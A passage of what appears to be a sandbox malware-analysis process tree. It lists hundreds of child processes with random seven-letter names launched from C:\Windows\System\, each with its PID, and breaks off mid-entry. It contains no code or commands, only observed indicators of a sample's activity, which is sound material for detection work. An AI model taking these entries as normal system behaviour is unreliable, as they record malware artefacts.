- C:\Windows\System\hlQpZxf.exe
  C:\Windows\System\hlQpZxf.exe
  2⤵
  PID:3456
- C:\Windows\System\SzsiFFI.exe
  C:\Windows\System\SzsiFFI.exe
  2⤵
  PID:3664
- C:\Windows\System\KqDuhKS.exe
  C:\Windows\System\KqDuhKS.exe
  2⤵
  PID:3228
- C:\Windows\System\fDvZGsC.exe
  C:\Windows\System\fDvZGsC.exe
  2⤵
  PID:3496
- C:\Windows\System\rtAxFrB.exe
  C:\Windows\System\rtAxFrB.exe
  2⤵
  PID:3728
- C:\Windows\System\hGQGnra.exe
  C:\Windows\System\hGQGnra.exe
  2⤵
  PID:3796
- C:\Windows\System\nBotThA.exe
  C:\Windows\System\nBotThA.exe
  2⤵
  PID:3280
- C:\Windows\System\SUdxfWe.exe
  C:\Windows\System\SUdxfWe.exe
  2⤵
  PID:3816
- C:\Windows\System\khHSiDg.exe
  C:\Windows\System\khHSiDg.exe
  2⤵
  PID:2504
- C:\Windows\System\UqrqQot.exe
  C:\Windows\System\UqrqQot.exe
  2⤵
  PID:2692
- C:\Windows\System\cVoLsTX.exe
  C:\Windows\System\cVoLsTX.exe
  2⤵
  PID:2280
- C:\Windows\System\EIqejpx.exe
  C:\Windows\System\EIqejpx.exe
  2⤵
  PID:360
- C:\Windows\System\ASAsNiP.exe
  C:\Windows\System\ASAsNiP.exe
  2⤵
  PID:2812
- C:\Windows\System\SZZNvsc.exe
  C:\Windows\System\SZZNvsc.exe
  2⤵
  PID:3972
- C:\Windows\System\ommLkEm.exe
  C:\Windows\System\ommLkEm.exe
  2⤵
  PID:3968
- C:\Windows\System\eGKjFrk.exe
  C:\Windows\System\eGKjFrk.exe
  2⤵
  PID:4100
- C:\Windows\System\aRFclWG.exe
  C:\Windows\System\aRFclWG.exe
  2⤵
  PID:4116
- C:\Windows\System\exeIuGb.exe
  C:\Windows\System\exeIuGb.exe
  2⤵
  PID:4132
- C:\Windows\System\cOAMWOl.exe
  C:\Windows\System\cOAMWOl.exe
  2⤵
  PID:4152
- C:\Windows\System\KvjjcCi.exe
  C:\Windows\System\KvjjcCi.exe
  2⤵
  PID:4168
- C:\Windows\System\ZMbdkdl.exe
  C:\Windows\System\ZMbdkdl.exe
  2⤵
  PID:4184
- C:\Windows\System\QAMuvsd.exe
  C:\Windows\System\QAMuvsd.exe
  2⤵
  PID:4200
- C:\Windows\System\naVoNhk.exe
  C:\Windows\System\naVoNhk.exe
  2⤵
  PID:4216
- C:\Windows\System\TAUBaqB.exe
  C:\Windows\System\TAUBaqB.exe
  2⤵
  PID:4232
- C:\Windows\System\nNEEusJ.exe
  C:\Windows\System\nNEEusJ.exe
  2⤵
  PID:4248
- C:\Windows\System\HMenHMN.exe
  C:\Windows\System\HMenHMN.exe
  2⤵
  PID:4268
- C:\Windows\System\hraJxBx.exe
  C:\Windows\System\hraJxBx.exe
  2⤵
  PID:4284
- C:\Windows\System\VGKVvPK.exe
  C:\Windows\System\VGKVvPK.exe
  2⤵
  PID:4300
- C:\Windows\System\GEqLpAM.exe
  C:\Windows\System\GEqLpAM.exe
  2⤵
  PID:4320
- C:\Windows\System\VBVLiky.exe
  C:\Windows\System\VBVLiky.exe
  2⤵
  PID:4336
- C:\Windows\System\grSwzqY.exe
  C:\Windows\System\grSwzqY.exe
  2⤵
  PID:4352
- C:\Windows\System\DtHQtJn.exe
  C:\Windows\System\DtHQtJn.exe
  2⤵
  PID:4368
- C:\Windows\System\YavBUAJ.exe
  C:\Windows\System\YavBUAJ.exe
  2⤵
  PID:4528
- C:\Windows\System\NxQzCYT.exe
  C:\Windows\System\NxQzCYT.exe
  2⤵
  PID:4556
- C:\Windows\System\zwLslXr.exe
  C:\Windows\System\zwLslXr.exe
  2⤵
  PID:4596
- C:\Windows\System\YjuDnYT.exe
  C:\Windows\System\YjuDnYT.exe
  2⤵
  PID:4612
- C:\Windows\System\XxGfwPD.exe
  C:\Windows\System\XxGfwPD.exe
  2⤵
  PID:4628
- C:\Windows\System\dhZgrsp.exe
  C:\Windows\System\dhZgrsp.exe
  2⤵
  PID:4652
- C:\Windows\System\kllfRwN.exe
  C:\Windows\System\kllfRwN.exe
  2⤵
  PID:4668
- C:\Windows\System\jyugqmK.exe
  C:\Windows\System\jyugqmK.exe
  2⤵
  PID:4684
- C:\Windows\System\morthTo.exe
  C:\Windows\System\morthTo.exe
  2⤵
  PID:4704
- C:\Windows\System\eIAzjNk.exe
  C:\Windows\System\eIAzjNk.exe
  2⤵
  PID:4720
- C:\Windows\System\oAJyFaa.exe
  C:\Windows\System\oAJyFaa.exe
  2⤵
  PID:4740
- C:\Windows\System\vmRguJc.exe
  C:\Windows\System\vmRguJc.exe
  2⤵
  PID:4756
- C:\Windows\System\KEMJEWC.exe
  C:\Windows\System\KEMJEWC.exe
  2⤵
  PID:4772
- C:\Windows\System\sblfjUM.exe
  C:\Windows\System\sblfjUM.exe
  2⤵
  PID:4788
- C:\Windows\System\fGWbEPo.exe
  C:\Windows\System\fGWbEPo.exe
  2⤵
  PID:4804
- C:\Windows\System\uRNxgMM.exe
  C:\Windows\System\uRNxgMM.exe
  2⤵
  PID:4820
- C:\Windows\System\NlZNdWe.exe
  C:\Windows\System\NlZNdWe.exe
  2⤵
  PID:4836
- C:\Windows\System\ygQWMam.exe
  C:\Windows\System\ygQWMam.exe
  2⤵
  PID:4852
- C:\Windows\System\VppuijC.exe
  C:\Windows\System\VppuijC.exe
  2⤵
  PID:4872
- C:\Windows\System\DeZjZLI.exe
  C:\Windows\System\DeZjZLI.exe
  2⤵
  PID:4888
- C:\Windows\System\zVIgJCi.exe
  C:\Windows\System\zVIgJCi.exe
  2⤵
  PID:4904
- C:\Windows\System\MadnzLu.exe
  C:\Windows\System\MadnzLu.exe
  2⤵
  PID:4920
- C:\Windows\System\pPfULIs.exe
  C:\Windows\System\pPfULIs.exe
  2⤵
  PID:4936
- C:\Windows\System\LbtfAxU.exe
  C:\Windows\System\LbtfAxU.exe
  2⤵
  PID:4952
- C:\Windows\System\uoUKWMs.exe
  C:\Windows\System\uoUKWMs.exe
  2⤵
  PID:5008
- C:\Windows\System\TCuEwht.exe
  C:\Windows\System\TCuEwht.exe
  2⤵
  PID:5024
- C:\Windows\System\UAoqdyT.exe
  C:\Windows\System\UAoqdyT.exe
  2⤵
  PID:5040
- C:\Windows\System\gXxjOKO.exe
  C:\Windows\System\gXxjOKO.exe
  2⤵
  PID:5060
- C:\Windows\System\pfMwtJU.exe
  C:\Windows\System\pfMwtJU.exe
  2⤵
  PID:5076
- C:\Windows\System\zWodJmO.exe
  C:\Windows\System\zWodJmO.exe
  2⤵
  PID:5096
- C:\Windows\System\yYRGuoi.exe
  C:\Windows\System\yYRGuoi.exe
  2⤵
  PID:5116
- C:\Windows\System\mHLtcSc.exe
  C:\Windows\System\mHLtcSc.exe
  2⤵
  PID:2668
- C:\Windows\System\sCMriIB.exe
  C:\Windows\System\sCMriIB.exe
  2⤵
  PID:3600
- C:\Windows\System\aKprSSn.exe
  C:\Windows\System\aKprSSn.exe
  2⤵
  PID:3684
- C:\Windows\System\TeYpgnj.exe
  C:\Windows\System\TeYpgnj.exe
  2⤵
  PID:4192
- C:\Windows\System\XmuOvZt.exe
  C:\Windows\System\XmuOvZt.exe
  2⤵
  PID:3444
- C:\Windows\System\VgQTUmu.exe
  C:\Windows\System\VgQTUmu.exe
  2⤵
  PID:3580
- C:\Windows\System\iHraRfF.exe
  C:\Windows\System\iHraRfF.exe
  2⤵
  PID:3880
- C:\Windows\System\xaCVPfX.exe
  C:\Windows\System\xaCVPfX.exe
  2⤵
  PID:4208
- C:\Windows\System\WYLwhEm.exe
  C:\Windows\System\WYLwhEm.exe
  2⤵
  PID:4144
- C:\Windows\System\TKdqnFO.exe
  C:\Windows\System\TKdqnFO.exe
  2⤵
  PID:1800
- C:\Windows\System\MAzvtva.exe
  C:\Windows\System\MAzvtva.exe
  2⤵
  PID:4228
- C:\Windows\System\xioAIIq.exe
  C:\Windows\System\xioAIIq.exe
  2⤵
  PID:4392
- C:\Windows\System\EtZSnVg.exe
  C:\Windows\System\EtZSnVg.exe
  2⤵
  PID:4408
- C:\Windows\System\fWwwGeX.exe
  C:\Windows\System\fWwwGeX.exe
  2⤵
  PID:4308
- C:\Windows\System\esASdRq.exe
  C:\Windows\System\esASdRq.exe
  2⤵
  PID:4436
- C:\Windows\System\KfqCoIp.exe
  C:\Windows\System\KfqCoIp.exe
  2⤵
  PID:4476
- C:\Windows\System\kxSQaGw.exe
  C:\Windows\System\kxSQaGw.exe
  2⤵
  PID:4496
- C:\Windows\System\vNDkJKu.exe
  C:\Windows\System\vNDkJKu.exe
  2⤵
  PID:4500
- C:\Windows\System\WJuGfDd.exe
  C:\Windows\System\WJuGfDd.exe
  2⤵
  PID:4524
- C:\Windows\System\rfhtoqn.exe
  C:\Windows\System\rfhtoqn.exe
  2⤵
  PID:4540
- C:\Windows\System\vAaeqzR.exe
  C:\Windows\System\vAaeqzR.exe
  2⤵
  PID:4572
- C:\Windows\System\xsUDuvl.exe
  C:\Windows\System\xsUDuvl.exe
  2⤵
  PID:4588
- C:\Windows\System\oBlzJhK.exe
  C:\Windows\System\oBlzJhK.exe
  2⤵
  PID:4636
- C:\Windows\System\lkiaZRu.exe
  C:\Windows\System\lkiaZRu.exe
  2⤵
  PID:4968
- C:\Windows\System\GCswIot.exe
  C:\Windows\System\GCswIot.exe
  2⤵
  PID:4900
- C:\Windows\System\Npsrzwb.exe
  C:\Windows\System\Npsrzwb.exe
  2⤵
  PID:4784
- C:\Windows\System\QkfCCIS.exe
  C:\Windows\System\QkfCCIS.exe
  2⤵
  PID:4848
- C:\Windows\System\GfJbavE.exe
  C:\Windows\System\GfJbavE.exe
  2⤵
  PID:4700
- C:\Windows\System\drhjwfc.exe
  C:\Windows\System\drhjwfc.exe
  2⤵
  PID:4928
- C:\Windows\System\AJNTCfA.exe
  C:\Windows\System\AJNTCfA.exe
  2⤵
  PID:4860
- C:\Windows\System\RNjXFgL.exe
  C:\Windows\System\RNjXFgL.exe
  2⤵
  PID:4800
- C:\Windows\System\FnwgvrS.exe
  C:\Windows\System\FnwgvrS.exe
  2⤵
  PID:4984
- C:\Windows\System\DAAZAwJ.exe
  C:\Windows\System\DAAZAwJ.exe
  2⤵
  PID:5000
- C:\Windows\System\yUhwOFS.exe
  C:\Windows\System\yUhwOFS.exe
  2⤵
  PID:5004
- C:\Windows\System\GZYXdUZ.exe
  C:\Windows\System\GZYXdUZ.exe
  2⤵
  PID:5032
- C:\Windows\System\aKOeSzZ.exe
  C:\Windows\System\aKOeSzZ.exe
  2⤵
  PID:3748
- C:\Windows\System\wrnhhrN.exe
  C:\Windows\System\wrnhhrN.exe
  2⤵
  PID:2680
- C:\Windows\System\UPuBPrr.exe
  C:\Windows\System\UPuBPrr.exe
  2⤵
  PID:3264
- C:\Windows\System\iPyFuJL.exe
  C:\Windows\System\iPyFuJL.exe
  2⤵
  PID:3936
- C:\Windows\System\UNTCrht.exe
  C:\Windows\System\UNTCrht.exe
  2⤵
  PID:4124
- C:\Windows\System\sYXVNvr.exe
  C:\Windows\System\sYXVNvr.exe
  2⤵
  PID:1020
- C:\Windows\System\zfBhkIT.exe
  C:\Windows\System\zfBhkIT.exe
  2⤵
  PID:4380
- C:\Windows\System\GlGMIZH.exe
  C:\Windows\System\GlGMIZH.exe
  2⤵
  PID:2828
- C:\Windows\System\IQXjdID.exe
  C:\Windows\System\IQXjdID.exe
  2⤵
  PID:4108
- C:\Windows\System\JhNnaOw.exe
  C:\Windows\System\JhNnaOw.exe
  2⤵
  PID:4348
- C:\Windows\System\uRnnygD.exe
  C:\Windows\System\uRnnygD.exe
  2⤵
  PID:4364
- C:\Windows\System\SdxPkFr.exe
  C:\Windows\System\SdxPkFr.exe
  2⤵
  PID:4644
- C:\Windows\System\JgomFoy.exe
  C:\Windows\System\JgomFoy.exe
  2⤵
  PID:4264
- C:\Windows\System\CCtbwgr.exe
  C:\Windows\System\CCtbwgr.exe
  2⤵
  PID:4580
- C:\Windows\System\aGFJmxq.exe
  C:\Windows\System\aGFJmxq.exe
  2⤵
  PID:4640
- C:\Windows\System\iOTqiug.exe
  C:\Windows\System\iOTqiug.exe
  2⤵
  PID:4508
- C:\Windows\System\hfRquil.exe
  C:\Windows\System\hfRquil.exe
  2⤵
  PID:4472
- C:\Windows\System\fDWAkNf.exe
  C:\Windows\System\fDWAkNf.exe
  2⤵
  PID:4624
- C:\Windows\System\asziLog.exe
  C:\Windows\System\asziLog.exe
  2⤵
  PID:4916
- C:\Windows\System\sbMtmCa.exe
  C:\Windows\System\sbMtmCa.exe
  2⤵
  PID:4692
- C:\Windows\System\lAIRuMk.exe
  C:\Windows\System\lAIRuMk.exe
  2⤵
  PID:4980
- C:\Windows\System\rKdQkyU.exe
  C:\Windows\System\rKdQkyU.exe
  2⤵
  PID:5072
- C:\Windows\System\iMdMigX.exe
  C:\Windows\System\iMdMigX.exe
  2⤵
  PID:4736
- C:\Windows\System\zmMKCCU.exe
  C:\Windows\System\zmMKCCU.exe
  2⤵
  PID:5092
- C:\Windows\System\gTRYaJV.exe
  C:\Windows\System\gTRYaJV.exe
  2⤵
  PID:1540
- C:\Windows\System\ZPghGBl.exe
  C:\Windows\System\ZPghGBl.exe
  2⤵
  PID:2584
- C:\Windows\System\YuyPDnw.exe
  C:\Windows\System\YuyPDnw.exe
  2⤵
  PID:984
- C:\Windows\System\tQPkCWl.exe
  C:\Windows\System\tQPkCWl.exe
  2⤵
  PID:4176
- C:\Windows\System\rBpXaTT.exe
  C:\Windows\System\rBpXaTT.exe
  2⤵
  PID:3596
- C:\Windows\System\tRFuHYk.exe
  C:\Windows\System\tRFuHYk.exe
  2⤵
  PID:3988
- C:\Windows\System\SYsXcKN.exe
  C:\Windows\System\SYsXcKN.exe
  2⤵
  PID:4316
- C:\Windows\System\cooBOJi.exe
  C:\Windows\System\cooBOJi.exe
  2⤵
  PID:4296
- C:\Windows\System\aGGlbeR.exe
  C:\Windows\System\aGGlbeR.exe
  2⤵
  PID:4544
- C:\Windows\System\rDZAptT.exe
  C:\Windows\System\rDZAptT.exe
  2⤵
  PID:4360
- C:\Windows\System\tpemfed.exe
  C:\Windows\System\tpemfed.exe
  2⤵
  PID:4440
- C:\Windows\System\fJSESBK.exe
  C:\Windows\System\fJSESBK.exe
  2⤵
  PID:4488
- C:\Windows\System\rFUGJTw.exe
  C:\Windows\System\rFUGJTw.exe
  2⤵
  PID:4828
- C:\Windows\System\rznWDrw.exe
  C:\Windows\System\rznWDrw.exe
  2⤵
  PID:4884
- C:\Windows\System\BrHtBZr.exe
  C:\Windows\System\BrHtBZr.exe
  2⤵
  PID:4972
- C:\Windows\System\bMjlmPs.exe
  C:\Windows\System\bMjlmPs.exe
  2⤵
  PID:4832
- C:\Windows\System\UOidDqe.exe
  C:\Windows\System\UOidDqe.exe
  2⤵
  PID:5108
- C:\Windows\System\bHaEyCh.exe
  C:\Windows\System\bHaEyCh.exe
  2⤵
  PID:5128
- C:\Windows\System\rtXVWed.exe
  C:\Windows\System\rtXVWed.exe
  2⤵
  PID:5148
- C:\Windows\System\ylstFuO.exe
  C:\Windows\System\ylstFuO.exe
  2⤵
  PID:5164
- C:\Windows\System\cRCymLr.exe
  C:\Windows\System\cRCymLr.exe
  2⤵
  PID:5248
- C:\Windows\System\giMydKh.exe
  C:\Windows\System\giMydKh.exe
  2⤵
  PID:5264
- C:\Windows\System\EuJhTCZ.exe
  C:\Windows\System\EuJhTCZ.exe
  2⤵
  PID:5284
- C:\Windows\System\HRzTnND.exe
  C:\Windows\System\HRzTnND.exe
  2⤵
  PID:5300
- C:\Windows\System\TSMvBrL.exe
  C:\Windows\System\TSMvBrL.exe
  2⤵
  PID:5316
- C:\Windows\System\YWxgSiY.exe
  C:\Windows\System\YWxgSiY.exe
  2⤵
  PID:5332
- C:\Windows\System\XKAQASO.exe
  C:\Windows\System\XKAQASO.exe
  2⤵
  PID:5348
- C:\Windows\System\DOSysSq.exe
  C:\Windows\System\DOSysSq.exe
  2⤵
  PID:5364
- C:\Windows\System\nnnuDgA.exe
  C:\Windows\System\nnnuDgA.exe
  2⤵
  PID:5380
- C:\Windows\System\HTrGynd.exe
  C:\Windows\System\HTrGynd.exe
  2⤵
  PID:5396
- C:\Windows\System\MnlEWYv.exe
  C:\Windows\System\MnlEWYv.exe
  2⤵
  PID:5412
- C:\Windows\System\voKgYtE.exe
  C:\Windows\System\voKgYtE.exe
  2⤵
  PID:5428
- C:\Windows\System\uloBGXg.exe
  C:\Windows\System\uloBGXg.exe
  2⤵
  PID:5448
- C:\Windows\System\EpBMfGp.exe
  C:\Windows\System\EpBMfGp.exe
  2⤵
  PID:5464
- C:\Windows\System\cGOACQx.exe
  C:\Windows\System\cGOACQx.exe
  2⤵
  PID:5480
- C:\Windows\System\RtuZxHb.exe
  C:\Windows\System\RtuZxHb.exe
  2⤵
  PID:5500
- C:\Windows\System\aZqCYMS.exe
  C:\Windows\System\aZqCYMS.exe
  2⤵
  PID:5516
- C:\Windows\System\lWXufXN.exe
  C:\Windows\System\lWXufXN.exe
  2⤵
  PID:5532
- C:\Windows\System\gCMaJYC.exe
  C:\Windows\System\gCMaJYC.exe
  2⤵
  PID:5548
- C:\Windows\System\RpCCDRh.exe
  C:\Windows\System\RpCCDRh.exe
  2⤵
  PID:5564
- C:\Windows\System\FLwHXEn.exe
  C:\Windows\System\FLwHXEn.exe
  2⤵
  PID:5580
- C:\Windows\System\rVIAAIy.exe
  C:\Windows\System\rVIAAIy.exe
  2⤵
  PID:5596
- C:\Windows\System\fQSwtbQ.exe
  C:\Windows\System\fQSwtbQ.exe
  2⤵
  PID:5612
- C:\Windows\System\CJIDfqf.exe
  C:\Windows\System\CJIDfqf.exe
  2⤵
  PID:5628
- C:\Windows\System\USxCzxg.exe
  C:\Windows\System\USxCzxg.exe
  2⤵
  PID:5644
- C:\Windows\System\mQDZlUA.exe
  C:\Windows\System\mQDZlUA.exe
  2⤵
  PID:5660
- C:\Windows\System\DDrHywx.exe
  C:\Windows\System\DDrHywx.exe
  2⤵
  PID:5676
- C:\Windows\System\vJmFBVj.exe
  C:\Windows\System\vJmFBVj.exe
  2⤵
  PID:5692
- C:\Windows\System\qoSAoXq.exe
  C:\Windows\System\qoSAoXq.exe
  2⤵
  PID:5708
- C:\Windows\System\uJupbBv.exe
  C:\Windows\System\uJupbBv.exe
  2⤵
  PID:5724
- C:\Windows\System\LhlycPE.exe
  C:\Windows\System\LhlycPE.exe
  2⤵
  PID:5740
- C:\Windows\System\oImxqtQ.exe
  C:\Windows\System\oImxqtQ.exe
  2⤵
  PID:5760
- C:\Windows\System\HOmwkZL.exe
  C:\Windows\System\HOmwkZL.exe
  2⤵
  PID:5776
- C:\Windows\System\FLodHRq.exe
  C:\Windows\System\FLodHRq.exe
  2⤵
  PID:5792
- C:\Windows\System\LMxAYuh.exe
  C:\Windows\System\LMxAYuh.exe
  2⤵
  PID:5808
- C:\Windows\System\MfYGJvK.exe
  C:\Windows\System\MfYGJvK.exe
  2⤵
  PID:5824
- C:\Windows\System\iYAGVll.exe
  C:\Windows\System\iYAGVll.exe
  2⤵
  PID:5840
- C:\Windows\System\UynncSB.exe
  C:\Windows\System\UynncSB.exe
  2⤵
  PID:5856
- C:\Windows\System\TqHnoYz.exe
  C:\Windows\System\TqHnoYz.exe
  2⤵
  PID:5872
- C:\Windows\System\TFHmvAm.exe
  C:\Windows\System\TFHmvAm.exe
  2⤵
  PID:5888
- C:\Windows\System\ExRlrOS.exe
  C:\Windows\System\ExRlrOS.exe
  2⤵
  PID:5904
- C:\Windows\System\ZhvETUQ.exe
  C:\Windows\System\ZhvETUQ.exe
  2⤵
  PID:5920
- C:\Windows\System\OkCIgnw.exe
  C:\Windows\System\OkCIgnw.exe
  2⤵
  PID:5936
- C:\Windows\System\cRwFEzY.exe
  C:\Windows\System\cRwFEzY.exe
  2⤵
  PID:5952
- C:\Windows\System\WWpmStL.exe
  C:\Windows\System\WWpmStL.exe
  2⤵
  PID:5968
- C:\Windows\System\SnghckX.exe
  C:\Windows\System\SnghckX.exe
  2⤵
  PID:6104
- C:\Windows\System\xACeluZ.exe
  C:\Windows\System\xACeluZ.exe
  2⤵
  PID:6120
- C:\Windows\System\esqRRFS.exe
  C:\Windows\System\esqRRFS.exe
  2⤵
  PID:6136
- C:\Windows\System\cTpJYGb.exe
  C:\Windows\System\cTpJYGb.exe
  2⤵
  PID:3844
- C:\Windows\System\WHOzxQy.exe
  C:\Windows\System\WHOzxQy.exe
  2⤵
  PID:4280
- C:\Windows\System\UbpRUTM.exe
  C:\Windows\System\UbpRUTM.exe
  2⤵
  PID:4680
- C:\Windows\System\LOaLmoq.exe
  C:\Windows\System\LOaLmoq.exe
  2⤵
  PID:5160
- C:\Windows\System\DhUdqeA.exe
  C:\Windows\System\DhUdqeA.exe
  2⤵
  PID:4448
- C:\Windows\System\qNcEBkT.exe
  C:\Windows\System\qNcEBkT.exe
  2⤵
  PID:4728
- C:\Windows\System\uSSkZHc.exe
  C:\Windows\System\uSSkZHc.exe
  2⤵
  PID:5112
- C:\Windows\System\TsqkvLG.exe
  C:\Windows\System\TsqkvLG.exe
  2⤵
  PID:5136
- C:\Windows\System\dNvyIWd.exe
  C:\Windows\System\dNvyIWd.exe
  2⤵
  PID:4896
- C:\Windows\System\mtqxYDt.exe
  C:\Windows\System\mtqxYDt.exe
  2⤵
  PID:4564
- C:\Windows\System\PKBCqdS.exe
  C:\Windows\System\PKBCqdS.exe
  2⤵
  PID:3384
- C:\Windows\System\KQJePYK.exe
  C:\Windows\System\KQJePYK.exe
  2⤵
  PID:5184
- C:\Windows\System\lxnSSdf.exe
  C:\Windows\System\lxnSSdf.exe
  2⤵
  PID:5260
- C:\Windows\System\GmDhOBh.exe
  C:\Windows\System\GmDhOBh.exe
  2⤵
  PID:5200
- C:\Windows\System\RKYmhIj.exe
  C:\Windows\System\RKYmhIj.exe
  2⤵
  PID:5216
- C:\Windows\System\JqZryhB.exe
  C:\Windows\System\JqZryhB.exe
  2⤵
  PID:5236
- C:\Windows\System\igOMmZP.exe
  C:\Windows\System\igOMmZP.exe
  2⤵
  PID:5176
- C:\Windows\System\pakMRMr.exe
  C:\Windows\System\pakMRMr.exe
  2⤵
  PID:5312
- C:\Windows\System\ltIJqRL.exe
  C:\Windows\System\ltIJqRL.exe
  2⤵
  PID:5340
- C:\Windows\System\agAxnBa.exe
  C:\Windows\System\agAxnBa.exe
  2⤵
  PID:5344
- C:\Windows\System\tFDhxxD.exe
  C:\Windows\System\tFDhxxD.exe
  2⤵
  PID:5456
- C:\Windows\System\wepQDZB.exe
  C:\Windows\System\wepQDZB.exe
  2⤵
  PID:5496
- C:\Windows\System\fjiKhbr.exe
  C:\Windows\System\fjiKhbr.exe
  2⤵
  PID:5476
- C:\Windows\System\GsoEWBF.exe
  C:\Windows\System\GsoEWBF.exe
  2⤵
  PID:5436
- C:\Windows\System\xvWlWWr.exe
  C:\Windows\System\xvWlWWr.exe
  2⤵
  PID:5372
- C:\Windows\System\dvlZnLS.exe
  C:\Windows\System\dvlZnLS.exe
  2⤵
  PID:5652
- C:\Windows\System\VanYbSK.exe
  C:\Windows\System\VanYbSK.exe
  2⤵
  PID:5560
- C:\Windows\System\jKzjOQe.exe
  C:\Windows\System\jKzjOQe.exe
  2⤵
  PID:5656
- C:\Windows\System\rLcXCDl.exe
  C:\Windows\System\rLcXCDl.exe
  2⤵
  PID:5720
- C:\Windows\System\rIpjEIh.exe
  C:\Windows\System\rIpjEIh.exe
  2⤵
  PID:5784
- C:\Windows\System\mFuxFqm.exe
  C:\Windows\System\mFuxFqm.exe
  2⤵
  PID:5848
- C:\Windows\System\IvWJzWG.exe
  C:\Windows\System\IvWJzWG.exe
  2⤵
  PID:5912
- C:\Windows\System\jHtiPMp.exe
  C:\Windows\System\jHtiPMp.exe
  2⤵
  PID:5976
- C:\Windows\System\grmzpwU.exe
  C:\Windows\System\grmzpwU.exe
  2⤵
  PID:5960
- C:\Windows\System\FmHhtLk.exe
  C:\Windows\System\FmHhtLk.exe
  2⤵
  PID:5984
- C:\Windows\System\BvwKtyB.exe
  C:\Windows\System\BvwKtyB.exe
  2⤵
  PID:6000
- C:\Windows\System\zEddwHS.exe
  C:\Windows\System\zEddwHS.exe
  2⤵
  PID:6024
- C:\Windows\System\eXWNpZu.exe
  C:\Windows\System\eXWNpZu.exe
  2⤵
  PID:6040
- C:\Windows\System\nQrTDhN.exe
  C:\Windows\System\nQrTDhN.exe
  2⤵
  PID:6056
- C:\Windows\System\SxCMaRe.exe
  C:\Windows\System\SxCMaRe.exe
  2⤵
  PID:6072
- C:\Windows\System\HVJtRAW.exe
  C:\Windows\System\HVJtRAW.exe
  2⤵
  PID:5832
- C:\Windows\System\mEpSozK.exe
  C:\Windows\System\mEpSozK.exe
  2⤵
  PID:5704
- C:\Windows\System\HcSahIe.exe
  C:\Windows\System\HcSahIe.exe
  2⤵
  PID:5608
- C:\Windows\System\OhSrdfk.exe
  C:\Windows\System\OhSrdfk.exe
  2⤵
  PID:5800
- C:\Windows\System\RzhFvzZ.exe
  C:\Windows\System\RzhFvzZ.exe
  2⤵
  PID:5896
- C:\Windows\System\WLkAmAk.exe
  C:\Windows\System\WLkAmAk.exe
  2⤵
  PID:5864
- C:\Windows\System\WspNVHT.exe
  C:\Windows\System\WspNVHT.exe
  2⤵
  PID:5836
- C:\Windows\System\dgHuCcA.exe
  C:\Windows\System\dgHuCcA.exe
  2⤵
  PID:4584
- C:\Windows\System\tiVjMsn.exe
  C:\Windows\System\tiVjMsn.exe
  2⤵
  PID:6100
- C:\Windows\System\gDanSji.exe
  C:\Windows\System\gDanSji.exe
  2⤵
  PID:4996
- C:\Windows\System\rbCBQPm.exe
  C:\Windows\System\rbCBQPm.exe
  2⤵
  PID:4660
- C:\Windows\System\QEwuWJi.exe
  C:\Windows\System\QEwuWJi.exe
  2⤵
  PID:5144
- C:\Windows\System\VpNKnOB.exe
  C:\Windows\System\VpNKnOB.exe
  2⤵
  PID:4696
- C:\Windows\System\gGdIrzF.exe
  C:\Windows\System\gGdIrzF.exe
  2⤵
  PID:3100
- C:\Windows\System\KvPlVlX.exe
  C:\Windows\System\KvPlVlX.exe
  2⤵
  PID:5204
- C:\Windows\System\eAYMldz.exe
  C:\Windows\System\eAYMldz.exe
  2⤵
  PID:5224
- C:\Windows\System\YgQepUD.exe
  C:\Windows\System\YgQepUD.exe
  2⤵
  PID:5388
- C:\Windows\System\suoNCuO.exe
  C:\Windows\System\suoNCuO.exe
  2⤵
  PID:5296
- C:\Windows\System\SZQfTlI.exe
  C:\Windows\System\SZQfTlI.exe
  2⤵
  PID:5424
- C:\Windows\System\QffTNyZ.exe
  C:\Windows\System\QffTNyZ.exe
  2⤵
  PID:5512
- C:\Windows\System\CvfUeSm.exe
  C:\Windows\System\CvfUeSm.exe
  2⤵
  PID:5540
- C:\Windows\System\mpgnHZQ.exe
  C:\Windows\System\mpgnHZQ.exe
  2⤵
  PID:5620
- C:\Windows\System\fhWZGTm.exe
  C:\Windows\System\fhWZGTm.exe
  2⤵
  PID:5688
- C:\Windows\System\TUKEaSy.exe
  C:\Windows\System\TUKEaSy.exe
  2⤵
  PID:5928
- C:\Windows\System\EiOqsfR.exe
  C:\Windows\System\EiOqsfR.exe
  2⤵
  PID:5944
- C:\Windows\System\QvasTKs.exe
  C:\Windows\System\QvasTKs.exe
  2⤵
  PID:5992
- C:\Windows\System\pHCFhsy.exe
  C:\Windows\System\pHCFhsy.exe
  2⤵
  PID:6008
- C:\Windows\System\FmvtKYi.exe
  C:\Windows\System\FmvtKYi.exe
  2⤵
  PID:6092
- C:\Windows\System\xnUJlnL.exe
  C:\Windows\System\xnUJlnL.exe
  2⤵
  PID:5804
- C:\Windows\System\dkBzrui.exe
  C:\Windows\System\dkBzrui.exe
  2⤵
  PID:5156
- C:\Windows\System\ZGNPrFE.exe
  C:\Windows\System\ZGNPrFE.exe
  2⤵
  PID:4376
- C:\Windows\System\HwneTIw.exe
  C:\Windows\System\HwneTIw.exe
  2⤵
  PID:5440
- C:\Windows\System\qemooFf.exe
  C:\Windows\System\qemooFf.exe
  2⤵
  PID:5592
- C:\Windows\System\DWEERYw.exe
  C:\Windows\System\DWEERYw.exe
  2⤵
  PID:5816
- C:\Windows\System\tmkVMYE.exe
  C:\Windows\System\tmkVMYE.exe
  2⤵
  PID:5672
- C:\Windows\System\gLZksyA.exe
  C:\Windows\System\gLZksyA.exe
  2⤵
  PID:6052
- C:\Windows\System\rUXrtCA.exe
  C:\Windows\System\rUXrtCA.exe
  2⤵
  PID:4148
- C:\Windows\System\wWADULP.exe
  C:\Windows\System\wWADULP.exe
  2⤵
  PID:3252
- C:\Windows\System\FvoLlCt.exe
  C:\Windows\System\FvoLlCt.exe
  2⤵
  PID:5192
- C:\Windows\System\wBmeBQu.exe
  C:\Windows\System\wBmeBQu.exe
  2⤵
  PID:5308
- C:\Windows\System\YBkZvKu.exe
  C:\Windows\System\YBkZvKu.exe
  2⤵
  PID:5508
- C:\Windows\System\bqHXMyV.exe
  C:\Windows\System\bqHXMyV.exe
  2⤵
  PID:6016
- C:\Windows\System\Bpsznrs.exe
  C:\Windows\System\Bpsznrs.exe
  2⤵
  PID:5576
- C:\Windows\System\iKzfnOB.exe
  C:\Windows\System\iKzfnOB.exe
  2⤵
  PID:6084
- C:\Windows\System\ZfHjuRH.exe
  C:\Windows\System\ZfHjuRH.exe
  2⤵
  PID:6064
- C:\Windows\System\zONOzjo.exe
  C:\Windows\System\zONOzjo.exe
  2⤵
  PID:5356
- C:\Windows\System\AszUWod.exe
